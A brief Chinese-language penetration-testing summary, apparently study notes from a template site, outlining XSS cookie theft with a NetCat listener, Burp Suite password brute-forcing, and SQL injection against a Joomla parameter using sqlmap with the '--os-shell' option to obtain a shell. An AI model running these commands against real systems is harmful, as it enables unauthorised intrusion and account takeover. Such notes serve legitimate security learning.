渗透测试总结

发布时间：2020-03-03 13:57:52 来源：范文大全收藏本文下载本文手机版

XSS、SQL注入、文件上传、弱口令、备份信息泄露 XSS  分析漏洞成因

 构造payload  NetCat监听端口

nc.exe -lnvp 8888  利用cookie登录  获取权限

弱口令

 Burpsuit拦截数据包  Intruder模块  标记密码  加载字典  开始爆破  查看返回值

SQL注入

 抓包  Decoder as url  保存post请求  Sqlmap.py

sqlmap.py -r C:\\Joomla.txt -p filter[category_id]  SQLmap OS-shell

sqlmap.exe -r C:\\Joomla.txt -p filter[category_id] --os-shell  获取交互式shell

相关范文推荐